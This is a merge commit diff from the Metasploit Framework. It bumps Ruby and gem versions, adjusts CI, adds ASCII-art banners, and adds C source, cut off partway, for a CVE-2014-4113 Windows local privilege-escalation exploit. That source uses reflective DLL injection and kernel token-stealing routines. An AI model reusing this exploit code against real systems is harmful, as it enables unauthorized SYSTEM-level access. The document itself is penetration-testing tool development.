Merge branch 'master' into feature/MSP-11130/metasploit-framework-spec-constants
MSP-11130 Conflicts: Rakefile
This commit is contained in:
commit
b0f1b2a1f7
|
@ -1 +1 @@
|
|||
1.9.3-p547
|
||||
1.9.3-p550
|
||||
|
|
|
@ -1,7 +1,8 @@
|
|||
env:
|
||||
- RAKE_TASK=cucumber
|
||||
- RAKE_TASK=cucumber:boot
|
||||
- RAKE_TASK=spec
|
||||
- RAKE_TASK=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
language: ruby
|
||||
before_install:
|
||||
|
@ -22,8 +23,9 @@ before_script:
|
|||
script: "bundle exec rake $RAKE_TASK"
|
||||
|
||||
rvm:
|
||||
#- '1.8.7'
|
||||
- '1.9.3'
|
||||
- '2.0'
|
||||
- '2.1'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
2
COPYING
2
COPYING
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2013, Rapid7, Inc.
|
||||
Copyright (C) 2006-2014, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
2
Gemfile
2
Gemfile
|
@ -3,6 +3,8 @@ source 'https://rubygems.org'
|
|||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec
|
||||
|
||||
gem 'rb-readline', require: false
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
|
||||
|
|
|
@ -14,6 +14,7 @@ PATH
|
|||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rb-readline
|
||||
recog (~> 1.0)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
|
@ -57,7 +58,7 @@ GEM
|
|||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.7)
|
||||
bcrypt (3.1.9)
|
||||
builder (3.0.4)
|
||||
capybara (2.4.1)
|
||||
mime-types (>= 1.16)
|
||||
|
@ -161,6 +162,7 @@ GEM
|
|||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.3.2)
|
||||
rb-readline (0.5.1)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.0)
|
||||
|
@ -230,6 +232,7 @@ DEPENDENCIES
|
|||
pg (>= 0.11)
|
||||
pry
|
||||
rake (>= 10.0.0)
|
||||
rb-readline
|
||||
redcarpet
|
||||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
|
|
2
Rakefile
2
Rakefile
|
@ -1,6 +1,7 @@
|
|||
#!/usr/bin/env rake
|
||||
require File.expand_path('../config/application', __FILE__)
|
||||
require 'metasploit/framework/require'
|
||||
require 'metasploit/framework/spec/untested_payloads'
|
||||
|
||||
# @note must be before `Metasploit::Framework::Application.load_tasks`
|
||||
#
|
||||
|
@ -10,3 +11,4 @@ Metasploit::Framework::Require.optionally_active_record_railtie
|
|||
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
Metasploit::Framework::Spec::Constants.define_task
|
||||
Metasploit::Framework::Spec::UntestedPayloads.define_task
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,34 @@
|
|||
|
||||
, ,
|
||||
\'. .'/
|
||||
),\ /,(
|
||||
/__\'. .'/__\
|
||||
\ `'.'-.__ __.-'.'` /
|
||||
`) `'-. \ / .-'` ('
|
||||
/ _.--'\ '. , , .' /'--._ \
|
||||
|-'` '. '-.__ / \ / \ __.-' .' `'-|
|
||||
\ _.`'-.,_'-.|/\ \ _,_ / /\|.-'_,.-'`._ /
|
||||
`\ .-' /'-.|| \ |.-" "-.| / ||.-'\ '-. /`
|
||||
)-'` .' :|| / -.\\ //.- \ ||: '. `'-(
|
||||
/ .' / \\_ | /o`^'o\ | _// \ '. \
|
||||
\ .-' .' `--| `"/ \"` |--` '. '-. /
|
||||
`) _.' .' .--.; |\__"__/| ;.--. '. '._ ('
|
||||
/_.' .-' _.-' \\ \/^\/ // `-._ '-. '._\
|
||||
\ .'`_.--' \\ // `--._`'. /
|
||||
'-._' /` _ \\-.-// _ `\ '_.-'
|
||||
`< _,..--''`| \`"`/ |`''--..,_ >`
|
||||
_\ ``--..__ \ `'` / __..--`` /_
|
||||
/ '-.__ ``'-; / \ ;-'`` __.-' \
|
||||
| _ ``''--.. \'-' | '-'/ ..--''`` _ |
|
||||
\ '-. / |/--|--\| \ .-' /
|
||||
'-._ '-._ / |---|---| \ _.-' _.-'
|
||||
`'-._ '/ / / /---|---\ \ \ \' _.-'`
|
||||
'-./ / / / \`---`/ \ \ \ \.-'
|
||||
`)` ` /'---'\ ` `(`
|
||||
jgs /` | | `\
|
||||
/ / | | | | \ \
|
||||
.--' / | '. .' | \ '--.
|
||||
/_____/| / \._\ /_./ \ |\_____\
|
||||
(/ (/' \) (/ `\) \)
|
||||
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
|
||||
.,,cccd$$$$$$$$$$$ccc,
|
||||
,cc$$$$$$$$$$$$$$$$$$$$$$$$$cc,
|
||||
,d$$$$$$$$$$$$$$$$"J$$$$$$$$$$$$$$c,
|
||||
d$$$$$$$$$$$$$$$$$$,$" ,,`?$$$$$$$$$$$$L
|
||||
,$$$$$$$$$$$$$$$$$$$$$',J$$$$$$$$$$$$$$$$$b
|
||||
,$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i `$h
|
||||
$$$$$$$$$$$$$$$$$$$$$$$$$P' "$$$$$$$$$$$h $$
|
||||
;$$$$$$$$$$$$$$$$$$$$$$$$F,$$$h,?$$$$$$$$$$h$F
|
||||
`$$$$$$$$$$$$$$$$$$$$$$$F:??$$$:)$$$$P",. $$F
|
||||
?$$$$$$$$$$$$$$$$$$$$$$( `$$ J$$F"d$$F,$F
|
||||
?$$$$$$$$$$$$$$$$$$$$$h, :P'J$$F ,$F,$"
|
||||
?$$$$$$$$$$$$$$$$$$$$$$$ccd$$`$h, ",d$
|
||||
"$$$$$$$$$$$$$$$$$$$$$$$$",cdc $$$$"
|
||||
,uu, `?$$$$$$$$$$$$$$$$$$$$$$$$$$$c$$$$h
|
||||
.,d$$$$$$$cc, `$$$$$$$$$$$$$$$$??$$$$$$$$$$$$$$$,
|
||||
,d$$$$$$$$$$$$$$$bcccc,,??$$$$$$ccf `"??$$$$??$$$$$$$
|
||||
d$$$$$$$$$$$$$$$$$$$$$$$$$h`?$$$$$$h`:... d$$$$$$$$P
|
||||
d$$$$$$$$$$$$$$$$$$$$$$$$$$$$`$$$$$$$hc,,cd$$$$$$$$P"
|
||||
=$$?$$$$$$$$P' ?$$$$$$$$$$$$$$$$$;$$$$$$$$$???????",,
|
||||
=$$$$$$F `"?????$$$$$$$$$$$$$$$$$$$$$$$$$$$$$bc
|
||||
d$$F"?$$k ,ccc$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i
|
||||
. ,ccc$$c`""u$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",$$$$$$$$$$$$h
|
||||
,d$$$L J$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" `""$$$??$$$$$$$
|
||||
,d$$$$$$c,"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F `?J$$$$$$$'
|
||||
,$$$$$$$$$$h`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F ?$$$$$$$P""=,
|
||||
,$$$F?$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F 3$$$$II"?$h,
|
||||
$$$$$`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P" ;$$$??$$$,"?"
|
||||
$$$$F ?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",z' 3$$h ?$F
|
||||
`?$$$$$$$$$$$$$$$??$$$$$$$$$PF"',d$P" "?$F
|
||||
""""""" ,z$$$$$$$$$$$$$P
|
||||
J$$$$$$$$$$$$$$F
|
||||
,$$$$$$$$$$$$$$F
|
||||
:$$$$$c?$$$$PF'
|
||||
`$$$$$$$P
|
||||
`?$$$$F
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
|
||||
aa@@@@@@@@@@@@@aa
|
||||
a@@@@@@@@@@@@@@@@@@@@@a
|
||||
a@@@@@@@@@@@@@@@@@@@@@@@@@a
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@~~~~@@@@@@@@@~~~~@@@@@@@
|
||||
@@@@@@ @@@@@@@ @@@@@@
|
||||
@@@@@@@aaaa@@@@@@@@@aaaa@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'
|
||||
@@@@@@@@~@@@~@@@~@@@~@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@~@@@~@@@~@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@~@@@~@@@@@@@@
|
||||
`@@@@@@@@@@@@@@@@@'
|
||||
~~@@@@@@@~~
|
||||
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
|
||||
,mmmmm, ______ _________
|
||||
@ooooo@, / /. . \\ /./-----\.\
|
||||
@0m0m0Q@ / /. . .`,\\>./, , ,\.\
|
||||
@0X00X@@ | |. . . |:|\| , , |.|
|
||||
____@0m00@_____ | | . . . |:|X| , , , |.|
|
||||
@@@op(oboy)pop@@Ok | |. . . |:|\| , , |.|
|
||||
@@@@opopopopop@@@p@@| | . . . |:|\| , , , |.|
|
||||
@@o@@opopopopop@@op@@,|. . . |:|\| , , |.|
|
||||
@@o@@popopopopopop@o@@| . . . |:|X| , , , |.|
|
||||
@@o@@mmmmmmgogogo@oo@|. . . |:|\| , , |.|
|
||||
@@@@@@@mmm'ooo@|@oo@| . . . |:|\| , , , |.|
|
||||
@oooooooOOOO@" @o@|. . . |:|\| , , |.|
|
||||
@OoOoO@OoOoO@ @@@| . . . |:|X| , , , |.|
|
||||
@oooo@@@oooo@ @@@|. . . .|:|\| , , |.|
|
||||
.@@@o@@@@ooo@@ ,@@}| . . .// \\_________/.|
|
||||
.@@oo@@@@@@ooo@. "@@'|. . // \==========/
|
||||
.@ooooo@@@@@oooo@ \ //
|
||||
@ooooO@' `@@ooo@|
|
||||
@oooo@' `@oooo@
|
||||
@ooo@' `oooo@| The MUMMY, from his coffin,
|
||||
@oo@@' `@oo@| began to rise. And suddenly,
|
||||
@o@@| @@o@, to my surprize!
|
||||
@@@@: @@o@| -----
|
||||
@@@@: @@o@| "HE DID THE MASH!"
|
||||
`@oo: `@@@:
|
||||
/@@@) /@@@)
|
||||
(@@@@/ (@@@@/ \_/ Phoenix... (lives)
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
|
||||
.....
|
||||
.d$$$$*$$$$$$bc
|
||||
.d$P" d$$ "*$$.
|
||||
d$" 4$"$$ "$$.
|
||||
4$P $F ^$F "$c
|
||||
z$% d$ 3$ ^$L
|
||||
4$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F
|
||||
$$$F"""""""$F""""""$F"""""C$$*$
|
||||
.$%"$$e d$ 3$ z$$" $F
|
||||
4$ *$$.4$" $$d$P" $$
|
||||
4$ ^*$$. .d$F $$
|
||||
4$ d$"$$c z$$"3$ $F
|
||||
$L 4$" ^*$$$P" $$ 4$"
|
||||
3$ $F .d$P$$e ^$F $P
|
||||
$$ d$ .$$" "$$c 3$ d$
|
||||
*$.4$"z$$" ^*$$$$ $$
|
||||
"$$$$P" "$$$P
|
||||
*$b. .d$P"
|
||||
"$$$ec.....ze$$$"
|
||||
"**$$$**""
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
|
||||
|
||||
ooo
|
||||
$ o$
|
||||
o $$
|
||||
""$$$ o" $$ oo "
|
||||
" o$"$oo$$$"o$$o$$"$$$$$ o
|
||||
$" "o$$$$$$o$$$$$$$$$$$$$$o o
|
||||
o$" "$$$$$$$$$$$$$$$$$$$$$$o" "oo o
|
||||
" " o "$$$o o$$$$$$$$$$$oo$$
|
||||
" $ " "o$$$$$ $$$$$$$$$$$"$$$$$$$o
|
||||
o $ o o$$$$$"$$$$$$$$$$$o$$"""$$$$o " "
|
||||
o o$$$$$" "$$$$$$$$$$ "" oo $$ o $
|
||||
$ $ $$$$$ $$$oo "$$$$$$$$o o $$$o$$oo o o
|
||||
o o $$$$$oo$$$$$$o$$$$ ""$$oo$$$$$$$$" " "o
|
||||
" o $ ""$$$$$$$$$$$$$$ o "$$$$$$$$$$$$ o "
|
||||
" $ "$$$$$$$$$$$$$$ " $$$"$$$$$$$$o o
|
||||
$ o o$"""""$$$$$$$$ oooo$$ $$$$$$$$" "
|
||||
$ o""o $$o $$$$$$$$$$$$$$$$$ "" o$$$ $ o
|
||||
o " "o "$$$$ $$$$$""""""""""" $ o$$$$$"" o o
|
||||
" " o o$o" $$$$o "" o o$$$$$" o
|
||||
$ o$$$$$$$oo "oo$$$$$$$" o
|
||||
"$ o o$o $o o$$$$$"$$$$oooo$$$$$$$$$$$$$$"o$o
|
||||
"o oo $o$"oo$$$$$o$$$$$$$$$$$$"$$$$$$$$"o$"
|
||||
"$ooo $$o$ $$$$$$$$$$$$$$$$ $$$$$$$$o"
|
||||
"" $$$$$$$$$$$$$$$$$$$$$$" """"
|
||||
""""""
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
........
|
||||
;::;;::;,
|
||||
;::;;::;;,
|
||||
;;:::;;::;;,
|
||||
.vnmmnv%vnmnv%,.;;;:::;;::;;, .,vnmnv%vnmnv,
|
||||
vnmmmnv%vnmmmnv%vnmmnv%;;;;;;;%nmmmnv%vnmmnv%vnmmnv
|
||||
vnmmnv%vnmmmmmnv%vnmmmmmnv%;:;%nmmmmmmnv%vnmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmnv%vnmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmmmnv%vnmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmmnv%vnmm;mmmmmmnv%vnmmmmmmmm;mmnv%vnmmmnv%vnmmmnv,
|
||||
vnmmnv%vnmmmmmnv%vnmm;' mmmmmnv%vnmmmmmmm;' mmnv%vnmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmmnv%vn;; mmmmnv%vnmmmmmm;; nv%vnmmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmmmnv%v;; mmmnv%vnmmmmm;; v%vnmmmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmmmnv%vnmmmmmmmmm;; mmmmmmmmmnv%vnmmmmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmmmnv%vnmmmmmmmmmm;; mmmmmmmmmmnv%vnmmmmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmm nv%vnmmmmmmmmmmnv;, mmmmmmmmmmmmnv%vn;mmmmmnv%vnmmmnv
|
||||
vnmmnv%vnmmmmm nv%vnmmmmmmmmmnv%;nmmmmmmmmmmmnv%vn; mmmmmnv%vnmmmnv
|
||||
`vnmmnv%vnmmmm, v%vnmmmmmmmmmmnv%vnmmmmmmmmmmnv%v; mmmmnv%vnnmmnv'
|
||||
vnmmnv%vnmmmm;, %vnmmmmmmmmmnv%vnmmmmmmmmmnv%;' mmmnv%vnmmmmnv
|
||||
vnmmnv%vnmmmm;;, nmmm;' mmmm;;' mmmnv%vnmmmmnv'
|
||||
`vnmmnv%vnmmmmm;;,. mmnv%v;, mmmmnv%vnmmmmnv'
|
||||
`vnmmnv%vnmmmmmmnv%vnmmmmmmmmnv%vnmmmmmmnv%vnmmmmmnv%vnmmmmnv'
|
||||
`vnmvn%vnmmmmmmnv%vnmmmmmmmnv%vnmmmmmnv%vnmmmmmnv%vnmmmnv'
|
||||
`vn%vnmmmmmmn%:%vnmnmmmmnv%vnmmmnv%:%vnmmnv%vnmnv'
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
|
||||
|
||||
@@@
|
||||
@@@
|
||||
@@@
|
||||
@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@
|
||||
@@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@
|
||||
@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@
|
||||
@@@@@@@@@@ @@@@ @@@@ @@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
|
||||
@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @ @@@@@@@@
|
||||
@@@@@@@ @@@@@@@
|
||||
@@@@@@ @@ @@ @@ @@ @@ @@ @ @@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
|
||||
__
|
||||
| |
|
||||
| |
|
||||
___/____\___
|
||||
_- ~ ~ _
|
||||
- ~ ~ -_
|
||||
- _
|
||||
- /\ /\ _
|
||||
- / *\ / *\ _
|
||||
_ /____\ /____\ _
|
||||
_ /\ _
|
||||
_ /__\ _
|
||||
_ |\ /| _
|
||||
- \ `\/\/\/\/\/\/\/\/\/\/' / _
|
||||
- \ / -
|
||||
~ `\/^\/^\/^\/^\/^\/^\/' ~
|
||||
~ -~
|
||||
`--_._._._._._._._._._.._--'
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
|
||||
_...----.
|
||||
.' .-'`
|
||||
,''--..;
|
||||
/ |
|
||||
_______/________|_______
|
||||
`-----/// _\ /_ \\\-----`
|
||||
.---./ / o\/o \ \.---.
|
||||
<(_ /// \__/\__/ \\\ _)> _.---.
|
||||
'-. // oo \\ .-' .' .__`\
|
||||
o /// __..--..__ \\\ / \`\|
|
||||
o-'*'-o //| '\/\/\/\/' |\\ / ; '
|
||||
\*\|/*/ ;--. """" .-; | _ _ |
|
||||
.-'---'-. / \|||-....(|||`\ | (o) (o) |
|
||||
/ \ /\ /\|/ |
|
||||
| .---, |/ \ / ; ' |
|
||||
| / e e \ | '. .' | '-. \
|
||||
\| ^ |/ '---' | \_
|
||||
()._-_.() T R I C K | .._.----/` \
|
||||
,/\'._.'/\. ' . | / ``"-/||\ \
|
||||
/ \/ \/ \ O R | | `7,
|
||||
| ^^_____^^ | | . /// _ |
|
||||
|oOO` `OOo| T R E A T ; |' / |_) _ |
|
||||
\| '._____.' |/ / \-| |_)/ \ _ |
|
||||
|:: | '.__ __,; `| \_// \ |
|
||||
|:: | ````` | | \_/ ;
|
||||
|:: | | \ /
|
||||
\::. /_____________| ``'--..___/
|
||||
'._______.' '-| | |-' |
|
||||
|_ | _| | | | __.-;
|
||||
\ | / /-._|_.-\ \
|
||||
\_|_/ /`'-.|.-'`\ /
|
||||
jgs /--T--\ / .'. \'-..____.---''''``
|
||||
(__/ \__) \____/ \___/
|
||||
|
|
@ -0,0 +1,151 @@
|
|||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
|
||||
# User-specific files
|
||||
*.suo
|
||||
*.user
|
||||
*.sln.docstates
|
||||
|
||||
# Build results
|
||||
|
||||
[Dd]ebug/
|
||||
[Rr]elease/
|
||||
x64/
|
||||
build/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
|
||||
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
|
||||
!packages/*/build/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
*_i.c
|
||||
*_p.c
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.log
|
||||
*.scc
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# NCrunch
|
||||
*.ncrunch*
|
||||
.*crunch*.local.xml
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.Publish.xml
|
||||
*.pubxml
|
||||
|
||||
# NuGet Packages Directory
|
||||
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||
#packages/
|
||||
|
||||
# Windows Azure Build Output
|
||||
csx
|
||||
*.build.csdef
|
||||
|
||||
# Windows Store app package directory
|
||||
AppPackages/
|
||||
|
||||
# Others
|
||||
sql/
|
||||
*.Cache
|
||||
ClientBin/
|
||||
[Ss]tyle[Cc]op.*
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.[Pp]ublish.xml
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file to a newer
|
||||
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
|
||||
# SQL Server files
|
||||
App_Data/*.mdf
|
||||
App_Data/*.ldf
|
||||
|
||||
# =========================
|
||||
# Windows detritus
|
||||
# =========================
|
||||
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Mac crap
|
||||
.DS_Store
|
|
@ -0,0 +1,28 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{E80F11CD-6698-492F-B4B0-1A2348A24BB0}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.Build.0 = Debug|x64
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.Build.0 = Release|Win32
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.ActiveCfg = Release|x64
|
||||
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,499 @@
|
|||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// Uncomment this line to enable to debug output
|
||||
//#define DEBUGGING
|
||||
|
||||
// Purloined from ntstatus.h
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
||||
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#ifdef DEBUGGING
|
||||
// only needed because of the output printf stuff when debugging
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef __success(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define PTR_SIZE sizeof(UINT_PTR)
|
||||
|
||||
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID *BaseAddress,
|
||||
IN PULONG ZeroBits,
|
||||
IN PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
|
||||
IN HANDLE ProcessId,
|
||||
OUT PVOID Process
|
||||
);
|
||||
|
||||
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
|
||||
_Inout_ PVOID Process
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
|
||||
_In_ DWORD SystemInformationClass,
|
||||
_Inout_ PVOID SystemInformation,
|
||||
_In_ ULONG SystemInformationLength,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef struct _SYSTEM_MODULE
|
||||
{
|
||||
HANDLE Reserved1;
|
||||
PVOID Reserved2;
|
||||
PVOID ImageBaseAddress;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT Id;
|
||||
USHORT Rank;
|
||||
USHORT w018;
|
||||
USHORT NameOffset;
|
||||
BYTE Name[256];
|
||||
} SYSTEM_MODULE, *PSYSTEM_MODULE;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION
|
||||
{
|
||||
ULONG ModulesCount;
|
||||
SYSTEM_MODULE Modules[0];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
BOOL bWndProcFlag = FALSE;
|
||||
BOOL bHookCallbackFlag = FALSE;
|
||||
|
||||
WNDPROC lpPrevWndFunc;
|
||||
DWORD dwMyProcessId = 0;
|
||||
|
||||
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
|
||||
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
|
||||
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
|
||||
|
||||
#ifdef DEBUGGING
|
||||
void dprintf(char* pszFormat, ...)
|
||||
{
|
||||
char s_acBuf[2048];
|
||||
va_list args;
|
||||
va_start(args, pszFormat);
|
||||
vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
|
||||
OutputDebugString(s_acBuf);
|
||||
va_end(args);
|
||||
}
|
||||
#else
|
||||
#define dprintf(...)
|
||||
#endif
|
||||
|
||||
long CALLBACK hook_callback_two(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
EndMenu();
|
||||
return -5;
|
||||
}
|
||||
|
||||
LRESULT CALLBACK hook_callback(int code, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag)
|
||||
{
|
||||
bHookCallbackFlag = TRUE;
|
||||
